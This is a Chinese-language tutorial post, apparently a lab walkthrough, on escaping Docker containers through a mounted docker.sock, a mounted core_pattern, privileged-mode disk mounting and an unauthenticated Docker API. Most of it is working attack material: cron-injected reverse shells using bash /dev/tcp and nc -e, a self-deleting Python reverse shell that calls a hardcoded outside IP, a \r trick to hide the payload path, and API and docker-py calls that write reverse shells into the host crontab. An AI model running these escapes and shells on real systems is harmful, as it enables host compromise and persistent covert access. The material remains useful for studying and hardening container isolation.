docker逃逸一些场景
docker逃逸docker.sock挂载逃逸基础知识Docker Client 和 Docker DaemonDocker Client这是用户通过命令行与 Docker 进行交互的工具例如你输入的 docker run 命令。它提供了一个用户界面来管理 Docker 容器和镜像。Docker Daemon后台运行的服务进程负责管理 Docker 容器的创建、运行、停止等操作。它接收来自 Docker Client 的请求并处理这些请求。C/S架构C/SClient/Server架构是一种分布式计算模型其中客户机Client发出请求而服务器Server处理请求并返回结果。简单来说客户端是用户的接口服务器是处理数据和服务的地方。通信方式Docker Client 和 Docker Daemon 之间的通信可以通过以下方式进行unix:///var/run/docker.sock这是 Docker 的默认通信方式。/var/run/docker.sock 是一个 Unix 域套接字文件Docker Daemon 监听这个套接字。使用 Unix 套接字的好处是它不需要任何网络配置通信速度较快因为它在同一台机器上。tcp://host:port这种方式通过 TCP/IP 协议进行通信允许客户端与远程 Docker Daemon 进行交互。你需要指定 Docker Daemon 运行的主机地址和端口号。这种方式适合在分布式系统中使用可以让多个客户端通过网络连接到同一个 Docker Daemon。fd://socketfd这种方式使用文件描述符进行通信适合某些特殊的场景。在这种情况下Client 将通过文件描述符与 Daemon 进行通信通常用于在容器内部进行进程间通信。原理我们平常使用的Docker命令中docker即为clientServer端的角色由docker daemon(docker守护进程)扮演使用docker.sock进行通信为默认方式当容器中进程需在生产过程中与Docker守护进程通信时容器本身需要挂载/var/run/docker.sock文件。本质上而言能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令以root权限运行的Docker服务通常可以访问整个主机系统。因此当容器访问docker socket时我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket我们便可在其内部安装clientdocker通过docker.sock与宿主机的serverdocker daemon进行交互运行并切换至不安全的容器B最终在容器B中控制宿主机。总结下来就是利用docker socket的通信方法我们可以起docker服务可以再起一个恶意的docker(比如root权限挂载到根目录)然后利用恶意的docker进行逃逸实现运行一个挂载/var/run/的容器一般我们的docker.sock文件都在/var/run/下面docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu当然进入容器后也可以执行如下命令查找find / -name docker.sock然后安装dockerapt-get update apt-get install docker.io之后再次run一个有漏洞的docker环境docker run -it -v /:/host ubuntu:18.04 /bin/bash这里就是制作一个有漏洞的docker环境然后挂载到docker的host目录下面我在我原本的服务器下创建了一个flag.txt文件[sudo] lll 的密码 ┌──(root㉿kali)-[/home/lll] └─# cd /┌──(root㉿kali)-[/]└─# vim flag.txt┌──(root㉿kali)-[/]└─#然后我们可以看看是否成功rootspanf6dedb7bb30b/span:/# cd /host rootspanf6dedb7bb30b/span:/host# ls bin dev flag.txt initrd.img lib lib64 media opt root sbin sys usr vmlinuz boot etc home initrd.img.old lib32 lostfound mnt proc run srv tmp var vmlinuz.old rootspanf6dedb7bb30b/span:/host#可以发现成功了现在其实就已经逃逸到外面了相当于当然可以反弹一个shell写个定时任务echo * * * * * bash -i gt;amp; /dev/tcp/ip/2333 0gt;amp;1 gt;gt; /host/var/spool/cron/root这里我就直接删flag文件rootspanf6dedb7bb30b/span:/host# ls bin dev flag.txt initrd.img lib lib64 media opt root sbin sys usr vmlinuz boot etc home initrd.img.old lib32 lostfound mnt proc run srv tmp var vmlinuz.old rootspanf6dedb7bb30b/span:/host# rm flag.txt然后回到原本的宿主机查看是否被删除┌──(root㉿kali)-[/] └─# ls bin dev home initrd.img.old lib32 lostfound mnt proc run srv tmp var vmlinuz.old boot etc initrd.img lib lib64 media opt root sbin sys usr vmlinuz已经被删除说明逃逸成功挂载proc基础知识proc文件它主要用于提供关于系统状态和进程的信息。procfs的结构以文件和目录的形式组织用户可以通过读取这些文件来获取系统和进程的各种信息而不需要使用专门的系统调用。/proc目录下的内容是动态生成的不是常驻于磁盘上的数据。这些内容通常包括进程信息每个运行中的进程都有一个以其PID进程ID命名的子目录如/proc/1234里面包含了该进程的状态、内存使用情况、打开的文件描述符等信息。系统信息如/proc/cpuinfoCPU信息/proc/meminfo内存信息/proc/version核版本等。配置参数如/proc/sys目录下的文件用户可以通过这些文件调整系统内核的各种参数。通过它用户可以实时获取操作系统的状态和各个进程的详细信息。原理从 2.6.19 内核版本开始Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | 那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。触发点在于/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。如果程序崩溃就会执行我们的命令实现搭建环境就docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu一般我们以core_pattern 文件数量作为标准判定find / -name core_pattern如果找到两个 core_pattern 文件那可能就是挂载了宿主机的 procfs寻找绝对路径这是因为Linux转储机制对/proc/sys/kernel/core_pattern内程序的查找是在宿主机文件系统进行的所以我们需要找到绝对的路径cat /proc/mounts | xargs -d , -n 1 | grep workdir结果如下rootspan45552954dcd4/span:/# cat /proc/mounts | xargs -d , -n 1 | grep workdir workdir/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/work因为我们需要执行文件就需要下载一些基础的东西安装 vim 和 gccapt-get update -y amp;amp; apt-get install vim gcc -y vim /tmp/.t.py安装成功后我们就可以写一个反弹shell的py脚本了#!/usr/bin/python3 import os import pty import socket lhost 49.232.222.195 lport 2333 def main(): s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv(HISTFILE, /dev/null) pty.spawn(/bin/bash) # os.remove(/tmp/.lll.py) s.close() if __name__ __main__: main()然后给这个脚本一个可执行权限chmod 777 .lll.py然后按照漏洞原理的格式echo -e |/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/merged/tmp/.lll.py \rcore gt; /host/proc/sys/kernel/core_pattern之后我们需要一个可以写一个可以让程序崩溃的代码#include int main(void) { int *a NULL; *a 1; return 0; }然后编译运行gcc t.c -o t ./t具体的原理参考https://www.secrss.com/articles/17274效果如下rootspan45552954dcd4/span:/# echo -e |/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe46a06678c/merged/tmp/.lll.py \rcore gt; /host/proc/sys/kernel/core_pattern rootspan45552954dcd4/span:/# ./t Segmentation fault (core dumped)可以看到崩溃了来到我们监听的服务器rootspanVM-16-17-ubuntu/span:~# ncat -lvp 2333 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::2333 Ncat: Listening on 0.0.0.0:2333 Ncat: Connection from 171.218.194.147. Ncat: Connection from 171.218.194.147:6630. rootspankali/span:/#可以看到已经连接成功了逃逸成功一些细节首先为什么我们的脚本文件名是.lll.py这是一个隐藏文件直接ls是看不到的rootspankali/span:/# ls ls bin home lib32 mnt run tmp vmlinuz.old boot initrd.img lib64 opt sbin usr dev initrd.img.old lostfound proc srv var etc lib media root sys vmlinuzrootlt;spangt;kalilt;/spangt;:/# ls -als -a. bin home lib32 mnt run tmp vmlinuz.old.. boot initrd.img lib64 opt sbin usr.cache dev initrd.img.old lostfound proc srv var.lll.py etc lib media root sys vmlinuz可以看见只有ls -a才能看见.lll.py然后paylaod中空格加\r的作用这里展示一下效果rootspanVM-16-17-ubuntu/span:/# echo -e |/tmp/123123/.x.py \rcore gt;/flag rootspanVM-16-17-ubuntu/span:/# cat flag core /123123/.x.py就是把真实的路径给遮住了最后就是os.remove(/tmp/.lll.py)在反弹shell的过程中删掉了用来反弹shell的程序自身。特权模式基础知识参考https://www.bookstack.cn/read/openeuler-21.03-zh/70e0731add42ae6d.md普通容器适合启动普通进程其权限非常受限仅具备/etc/default/isulad/config.json中capabilities所定义的默认权限。当需要特权操作时比如操作/sys下的设备需要特权容器完成这些操作使用该特性容器内的root将拥有宿主机的root权限 否则容器内的root在只是宿主机的普通用户权限。所以延申出了特权模式特权容器为容器提供了所有功能还解除了设备cgroup控制器强制执行的所有限制具备以下特性Secomp不block任何系统调用/sys、/proc路径可写容器内能访问主机上所有设备系统的权能将全部打开具体的如下当容器为特权模式时将添加以下权能Capability KeyCapability DescriptionSYS_MODULE加载和卸载内核模块SYS_RAWIO允许直接访问/devport,/dev/mem,/dev/kmem及原始块设备SYS_PACCT允许执行进程的BSD式审计SYS_ADMIN允许执行系统管理任务如加载或卸载文件系统、设置磁盘配额等SYS_NICE允许提升优先级及设置其他进程的优先级SYS_RESOURCE忽略资源限制SYS_TIME允许改变系统时钟SYS_TTY_CONFIG允许配置TTY设备AUDIT_CONTROL启用和禁用内核审计修改审计过滤器规则提取审计状态和过滤规则MAC_ADMIN覆盖强制访问控制 (Mandatory Access Control (MAC))为Smack Linux安全模块(Linux Security Module (LSM)) 而实现MAC_OVERRIDE允许 MAC 配置或状态改变。为 Smack LSM 而实现NET_ADMIN允许执行网络管理任务SYSLOG执行特权 syslog(2) 操作DAC_READ_SEARCH忽略文件读及目录搜索的DAC访问限制LINUX_IMMUTABLE允许修改文件的IMMUTABLE和APPEND属性标志NET_BROADCAST允许网络广播和多播访问IPC_LOCK允许锁定共享内存片段IPC_OWNER忽略IPC所有权检查SYS_PTRACE允许跟踪任何进程SYS_BOOT允许重新启动系统LEASE允许修改文件锁的FL_LEASE标志WAKE_ALARM触发将唤醒系统的功能如设置 CLOCK_REALTIME_ALARM 和 CLOCK_BOOTTIME_ALARM 定时器BLOCK_SUSPEND可以阻塞系统挂起的特性原理如果启动特权模式我们就可以挂载磁盘文件可以理解为把宿主机的文件系统直接迁移到docker来了实现首先搭建环境┌──(root㉿kali)-[/] └─# docker run -it --privileged ubuntu:latest /bin/bash rootspan5f9be5a4612f/span:/#然后查看是否以特权模式启动rootspan5f9be5a4612f/span:/# cat /proc/self/status | grep CapEff CapEff: 0000003fffffffff如果是以特权模式启动的话CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff可以看到我们这里是特权模式启动的然后就是查找磁盘位置了fdisk -l之后挂载磁盘到我们的目录rootspan5f9be5a4612f/span:/dev# mkdir /lll amp;amp; mount /dev/sda1 /lll先在原宿主机上创建一个flag┌──(root㉿kali)-[/] └─# vim flag──(root㉿kali)-[/]└─# lsbin boot dev etc flag home initrd.img initrd.img.old lib lib32 lib64 lostfound media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old挂载后我们查看有没有flagrootspan5f9be5a4612f/span:/lll# cd /lll rootspan5f9be5a4612f/span:/lll# ls bin dev flag initrd.img lib lib64 media opt root sbin sys usr vmlinuz boot etc home initrd.img.old lib32 lostfound mnt proc run srv tmp var vmlinuz.old可以发现是有的说明成功了当然我这个验证只是简单的验证按理来说是要弹shell的echo * * * * * bash -i gt;amp; /dev/tcp/ip/2333 0gt;amp;1 gt;gt; /lll/var/spool/cron/rootdocker未授权访问环境就使用Vulhub┌──(root㉿kali)-[/home/…/Desktop/vulhub/docker/unauthorized-rce] └─# docker-compose up -d这个打是比较好打的或者也可以这样启动dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375可能会导致我们的docker服务在公网上暴露如果直接访问我们可以调用一些api恶意利用这里我没有起服务了参考https://xz.aliyun.com/t/12495?time__1311GqGxRQq7qeuDlrzQ0%3DYqxiq7Ki%3DOfQYKx#toc-5当你访问version会有如下一个效果/containers/json会返回id字段执行命令可以利用POST /containers//exec HTTP/1.1 Host: :PORT Content-Type: application/json Content-Length: 188{quot;AttachStdinquot;: true,quot;AttachStdoutquot;: true,quot;AttachStderrquot;: true,quot;Cmdquot;: [quot;命令quot;, quot;参数quot;],比如cat /etc/passwdquot;DetachKeysquot;: quot;ctrl-p,ctrl-qquot;,quot;Privilegedquot;: true,quot;Ttyquot;: true}逃逸还是使用定时任务启动一个容器并将主机/etc文件夹挂载到容器然后我们将可以对任何文件进行读/写访问。我们可以将crontab配置文件中的命令放入反向shell中import dockerclient docker.DockerClient(base_url#39;http://your-ip:2375/amp;#39;)data client.containers.run(#39;alpine:latest#39;, r#39;#39;#39;sh -c quot;echo #39;* * * * * /usr/bin/nc your-ip 21 -e /bin/sh#39; amp;gt;amp;gt; /tmp/etc/crontabs/rootquot; #39;#39;#39;, removeTrue, volumes{#39;/etc#39;: {#39;bind#39;: #39;/tmp/etc#39;, #39;mode#39;: #39;rw#39;}})通过在 crontab 中注入命令来利用反向 shell参考https://www.secrss.com/articles/17274https://wiki.teamssix.com/CloudNative/Docker申明本公众号所分享内容仅用于网络安全技术讨论切勿用于违法途径所有渗透都需获取授权违者后果自行承担与本号及作者无关请谨记守法.